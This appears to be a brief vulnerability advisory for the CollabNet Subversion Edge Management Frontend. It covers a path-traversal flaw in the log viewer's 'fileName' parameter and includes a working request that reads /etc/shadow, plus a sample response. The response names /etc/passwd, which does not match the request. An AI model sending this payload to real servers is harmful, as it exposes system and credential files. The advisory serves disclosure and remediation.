Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "fileName" parameter of the show action

Vulnerability:

Request:
    GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
    Host: example.com:4434

Response:
    HTTP/1.1 200 OK
    [...]
    <div class="span3">../../../../../../etc/passwd</div>
    [...]
    root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.
